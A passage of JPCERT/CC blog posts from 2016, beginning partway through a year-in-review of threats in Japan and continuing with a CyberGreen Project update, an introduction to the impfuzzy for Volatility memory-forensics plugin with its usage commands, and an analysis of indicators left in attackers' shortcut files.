In accordance to this situation, at JPCERT/CC, we released a document on “Initial Procedures and Response Guideline for Countering Advanced Persistent Threat” (in Japanese) and also “Report on the Research into Evidence of Attack Tool Execution for Incident Investigation” (released in Japanese, English version will be coming out by the end of first half of 2017 (Title is tentative)). The former aims to enhance effective incident response procedures to deal with APT by providing knowledge on how to detect, analyze and contain the attacks, while the latter aims to promote efficient investigation upon an incident by providing information on actual attack tools used by threat actors and evidence left in log files when executing those tools.

Attack cases on financial theft continues to take place

According to the report (in Japanese) released by the National Police Agency (NPA), financial loss caused by illegal money transfer using Internet banking services that occurred in the first half of 2016 has been greatly reduced both in number of victims and the amount of financial loss of credit unions and corporate accounts. To be more specific, the damage amount in the first half of 2016 was 898 million Japanese yen, which decreased from the second half of 2015 (1.53 billion Japanese yen). However, in terms of personal accounts, the number of victims and amount of financial loss were witnessed at the same level as 2015 on average.

In 2016, Online Banking Trojans that steal IDs and passwords were attached to Japanese written spam emails and sent to Japanese users. Notorious Banking Trojans that were causing damages overseas such as Ursnif (aka: Gozi, Snifula) [5], Shiotob (aka: URLZONE, Bebloh) [6] and KRBANKER [7] (in Japanese), were also beginning to target online users in Japan.

In addition, ransomware continued to keep prevalent this year as well. Based on the report (in Japanese) from TrendMicro, Japanese organizations infected with ransomware in the first half of the year reached to 1,740, which was 7 times higher compared with the same time of 2015. Regarding the amount of financial loss itself, it has become the most significant security threat amongst all to Internet users.

Lastly, one more to note - 2016 was the year for JPCERT/CC to celebrate its 20th anniversary. As long as JPCERT/CC represents as the coordination center for cyber security incidents in Japan, we will continue to endeavor to create cyber space a safer place for all through cooperation and coordination with various partners around the globe. We would like to convey our gratitude for your support and cooperation, and would like to continuously devote the utmost effort in our activities.

Thank you for reading.

- Misaki Kimura


[1] http://www.lac.co.jp/security/report/pdf/cgview_vol2_en.pdf

[2] http://blog.jpcert.or.jp/2016/06/asruex-malware-infecting-through-shortcut-files.html

[3] https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf

[4] http://researchcenter.paloaltonetworks.com/2016/06/unit42-tracking-elirks-variants-in-japan-similarities-to-previous-attacks/

[5] http://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-the-multifaceted-malware/

[6] http://blog.trendmicro.com/trendlabs-security-intelligence/bebloh-expands-japan-latest-spam-attack/

[7] http://blog.trendmicro.co.jp/archives/13683

Dec 22, 2016

Update from the CyberGreen Project

Hi, this is Moto Kawasaki from Global Coordination Division. It has been a little while since I wrote about the CyberGreen Project last time, and I would like to update the achievements of the Project.

The most impressive news in the first half of this fiscal year 2016 (Apr-Sep in Japan) is the renewal of its web site. Please have a look at the Info site and you'll find nice pages introducing distinguished advisers and board members of the Project, the mission statement and Project goals, and much more.

Figure 1: CyberGreen Info site

It is a good summary and outcome of what we have been aiming for years, and especially the Blog page shows cutting-edge stories around the Project, including investments not only from JPCERT/CC over the years, but also from the newly-joined Foreign & Commonwealth Office of the United Kingdom and Cyber Security Agency of Singapore, which proves the project is well-supported by various organizations.

If you click the Statistics tab, you'll find the Stats site that describes the Beta-2 version of the statistics with a colored map and scores by region and by AS number. These scores are based on the data from the Open Resolver Project and other data sources, as listed in the Data Inventory page. The calculation algorithm is described in the About page, and the score is a kind of density as per the formula: the natural logarithm of the number of open servers found in a region over the natural logarithm of the maximum number of nodes per country in that region, which is expressed by the score between 0 (best) and 100 (worst).

Figure 2: Colored map on Stats site
Figure 3: Scores indicating risks

With these renewed sites, we had several promotions such as CyberGreen Workshop at the APCERT Annual General Meeting & Conference 2016 (please find a blog post on the Conference here), a session on “CyberGreen: Improving Ecosystem Health through Metrics based Measurement and Mitigation Support” at the FIRST Regional Symposium for Arab and African Regions, and another CyberGreen Index proposed as “Measuring CyberGreen Readiness” at the 9th Annual National Conference on Cyber Security, Sri Lanka.

Figure 4: Green Index proposed at the Conference in Sri Lanka

In addition to the continued efforts by the CyberGreen Project team, there was another big news: “CyberGreen Metrics v.2 Method and Report Finalized.” As described in the news page, we will see another revision in the Info and Stats sites, hopefully in early 2017.

As such, we wish you to join CyberGreen to make the Internet safer together.

Thank you very much.

- Moto Kawasaki

Dec 16, 2016

A New Tool to Detect Known Malware from Memory Images – impfuzzy for Volatility –

Hi again, this is Shusei Tomonaga from the Analysis Center. Today I will introduce a tool “impfuzzy for Volatility”, which JPCERT/CC has created for extracting known malware from memory images and utilises for analysis operations.

Malware Detection in Memory Forensics

To judge if a file type malware sample is a known kind, the easiest and fastest way is to check the hash value (e.g. MD5 or SHA 256) of the entire file to see if it matches any of those in malware databases. However, this method is not applicable for memory forensics. This is because executable files loaded on the memory are partially altered by the OS or the malware itself (for example, when an executable file is loaded on the memory, IAT – import address table – is replaced with the API’s address loaded on the memory), and therefore hash values of the file before and after being loaded on the memory do not match.

In this sense, for memory forensics, signature matching using Yara scan is often used for detecting known malware. In order to use this method, however, details of the malware need to be analysed and also its signature needs to be generated beforehand.

Overview and Main Features of impfuzzy for Volatility

“impfuzzy for Volatility” is a tool that solves such issues and enables extracting known malware from memory images. This tool is implemented as a plugin for The Volatility Framework (hereafter “Volatility”), a memory forensics tool. To enable detection even after information in the malware executable file is partially altered when loaded on the memory, the tool uses “impfuzzy” method which compares the similarities of Windows executable files based on hash values generated from Import API. impfuzzy was introduced in a past article on this blog.

impfuzzy for Volatility offers the following functions and is applicable for investigations using imphash [1] as well.

  • impfuzzy – Compares and displays hash values of executable files in memory images using impfuzzy
  • Ÿimphashlist – Displays the imphash value of executable files in memory images
  • imphashsearch – Compares hash values of executable files in memory images using imphash

When executing the following command line, impfuzzy hash values of the executable files and DLL files loaded on the memory will be listed as in Figure 1.

$ python vol.py -f [memory.image] --profile=[profile] impfuzzy -a (-p [PID]) 
Figure 1: Executable files in memory images and their hash values

To search memory images for files which are similar to certain executable files, the following command line can be executed.

$ python vol.py -f [memory.image] --profile=[profile] impfuzzy -e [PE File or Folder] (-p [PID])

The executable file to compare with or the folder where it is stored can be specified as option “-e”.

By executing the above command line, similar executable files can be detected as in Figure 2 (The “Compare” field indicates the similarity by percentage).

Figure 2: Detecting similar files from memory images

Figure 2 demonstrates the example where Citadel, a type of banking malware, is detected. Citadel is usually packed and starts running by injecting unpacked code into Explorer, etc. impfuzzy for Volatility compares executable files loaded on the memory, which makes it possible to calculate hash values of unpacked samples. Therefore, similarities can be judged even for packed malware.

impfuzzy for Volatility can also detect code that is injected into processes, as well as executable files and loaded DLL files. In Figure 2, “INJECTED CODE” in the “Module Name” field indicates that there is code injected into the processes.

The following shows other options that are available in impfuzzy for Volatility.

(Example 1) Compares impfuzzy hash values listed in the file with executable files in the memory, and displays the results:

$ python vol.py -f [memory.image] --profile=[profile] impfuzzy -i [Hash List File] (-p [PID])

(Example 2) Lists imphash values of executable files loaded on the memory

$ python vol.py -f [memory.image] --profile=[profile] imphashlist (-p [PID])

(Example 3) Compares imphash values listed in the file with executable files in the memory, and displays the results that match

$ python vol.py -f [memory.image] --profile=[profile] imphashsearch -i [Hash List] (-p [PID])

Advantages of Using impfuzzy in Memory Forensics

Even though executable files loaded on the memory are partially altered as previously discussed, their Import API remain the same. impfuzzy judges the similarity based on hash values derived from Import API of the executable files. This makes it possible to identify the same file even from executable files loaded on the memory.

Furthermore, since impfuzzy can generate hash values automatically, unlike Yara scan, there is no need to generate signatures manually.

Obtaining and Installing impfuzzy for Volatility

This tool is available on GitHub, a shared web service for software development projects. Feel free to download from the following website for your use:

JPCERTCC/aa-tools GitHub - impfuzzy for Volatility

In order to use this tool, the following Python module needs to be installed.

  • Ÿpyimpfuzzy

Please see the following website regarding installation of pyimpfuzzy.


When executing, impfuzzy.py needs to be installed from the aforementioned website, stored in the “contrib/plugins” folder in Volatility and then executed. (It is also possible to specify the folder where impfuzzy.py is stored using option “--plugins”.)


Memory may contain some information including malware that is not left on the hard disk, and therefore memory forensics is important in incident investigations involving malware infection. We hope that this tool is utilised as to effectively conduct investigations on memory forensics in such security incidents.

Thanks for reading.

- Shusei Tomonaga

(Translated by Yukako Uchida)


[1] FireEye - Tracking Malware with Import Hashing

Dec 05, 2016

Evidence of Attackers’ Development Environment Left in Shortcut Files

A shortcut file, also referred to as a shell link, is a system to launch applications or to allow linking among applications such as OLE. As we introduced in a previous blog post “Asruex: Malware Infecting through Shortcut Files”, shortcut flies are often used as a means to spread malware infection. Generally, shortcut files contain various types of information including the dates and environment that the shortcut file was created. This also applies to shortcut files created by attackers. By extracting and correlating information recorded in the shortcut files used in attacks, it is possible to identify the shortcut files that may have been created by the same attacker.

This blog entry explains how to classify an attack subject through information recorded in the shortcut files used in attacks. Furthermore, the article will also introduce trends in the system environments used by the latest attackers, which JPCERT/CC learned through statistical analysis of information gained from a number of shortcut files used in attacks.

Information Contained in Shortcut Files

Among the various types of information recorded in shortcut files, the following is the list of items that JPCERT/CC focused on for the purpose of this analysis (For the shortcut file format, please refer to the information released by Microsoft [1]).

  • Code page number: Number describing the character encoding configured in the OS where the shortcut file was created
  • ŸVolume serial number: Volume serial number of the drive where the shortcut file was located at the time of creation
  • ŸNetBIOS name: Computer name of the machine where the shortcut file was created
  • ŸMAC address: MAC address of the machine’s network adapter where the shortcut file was created

(Part of the DroidBirth field (GUID value) may contain the MAC address [2]. If neither network nor adapter exists, this will be a random value instead of a MAC address).

JPCERT/CC has confirmed that these types of information are being left in many of the shortcut files used in actual attacks. If these are available, it is possible to presume the system environment that the attackers use.

The following section explains the results of the study and classification of 83 shortcut files that JPCERT/CC collected from actual attack cases.

Classification of Shortcut Files Used in Actual Attacks

Among the above-listed information that shortcut files contain, the following 3 are useful in terms of identifying the system environment used when the shortcut file was created.

  • Volume serial number
  • NetBIOS name
  • MAC address

Shortcut files that have the same information in the above items are likely to be created by the same attacker. The image below illustrates the similarity of the shortcut files in terms of the 3 types of information. The nodes show either a shortcut file, MAC address, NetBIOS name or volume serial number, and represented in different colours – for example gray for shortcut file. For the above 3 types of information, the values are connected to the corresponding nodes with a line if the respective values are contained in the shortcut file.

Figure 1: Shortcut file clustering

Shortcut files used in attacks may contain the same volume serial number, NetBIOS name and MAC address and form a cluster. For example, the shortcut files which infect Asruex (obtained by JPCERT/CC) contained the following information:

  • Volume serial number: 4ec5-2eee
  • NetBIOS name: pc1-pc
  • MAC address: d0:50:99:27:d0:fc
Figure 2: The cluster of shortcut files infecting Asruex

In this way, multiple shortcut files may be correlated by comparing volume serial number, NetBIOS name and MAC address in the shortcut file. The coming section demonstrates the environments that attackers used for creating shortcut files, which can be seen from the analysis of shortcut file information.

Attackers’ Environment Identified from Shortcut Files

The first 3 bytes of MAC address are allocated for the Organizationally Unique Identifier (OUI), which shows the vendor of the product. Vendor names that can be identified from the 3 bytes of the MAC address in the shortcut files used in attacks are listed in Table 1.

Table 1: Results of first 3 bytes of MAC address
First 3 bytes of MAC addressVendor NameNumber
00-0c-29 VMware, Inc. 22
d0-50-99 ASRock Incorporation 15
00-50-56 VMware, Inc. 10
44-37-e6 Hon Hai Precision Ind.Co.Ltd 2
00-15-5d Microsoft Corporation (Hyper-V) 1
08-00-27 CADMUS COMPUTER SYSTEMS (VirtualBox) 1
20-c9-d0 Apple Inc. 1

It is clear that attackers tend to use a virtual environment for creating files. Many malware analysts use a virtual environment for analysis so that the actual environment does not get infected with malware. For the same reason, malware creators seem to use a virtual environment as well.

We also searched for code page information of shortcut files used in attacks and identified that the information remained in 22 of the artifacts. All of them had the same code page 936, which indicates simplified Chinese language.

For other noteworthy results taken from information left in the shortcut files, please see Appendix A.


Information on attackers’ system environment remains in many shortcut files used in attacks. By utilising the information, classification of the attack subject can be easily conducted. When analysing shortcut files used in attacks, there may be new findings by focusing not only on malicious scripts that attackers intentionally created, but also on evidence that they left unintentionally in the shortcut files.

Thank you for reading – see you soon.

- Shusei Tomonaga

(Translated by Yukako Uchida)


[1] Microsoft - [MS-SHLLINK]: Shell Link (.LNK) Binary File Format

[2] IETF - RFC 4122 - A Universally Unique IDentifier (UUID) URN Namespace

Appendix A: List of information contained in shortcut files used in attacks
Table A-1: List of NetBIOS name (Top 10)
NetBIOS nameNumbers
pc1-pc 15
host-473640c404 8
kitchen 8
lenovo-60ff5341 4
seasbo 4
john-a00bf62302 3
user-1aecf0882a 3
google-329ea5f8 2
microsof-92e057 2
win-qn3bc0dqd7e 2

Table A-2: List of volume serial number (Top 10)
Volume serial numberNumbers
4ec5-2eee 15
3ee4-c3c3 8
78e5-aa39 8
602c-9a8a 7
10bc-fa5f 4
6659-b92f 4
b017-3d5c 4
ac5c-ff44 3
b45e-f641 3
365f-818f 2

Table A-3: List of MAC address (Top 10)
MAC addressNumbers
d0:50:99:27:d0:fc 15
00:50:56:c0:00:08 11
88:3b:a8:bd:d5:37 8
ab:33:5b:4f:99:a0 8
00:0c:29:2c:21:be 3
00:0c:29:34:86:a9 3
00:0c:29:ea:a9:9c 3
00:0c:29:cb:0b:aa 2
44:37:e6:84:72:77 2
00:0c:29:20:d2:d9 1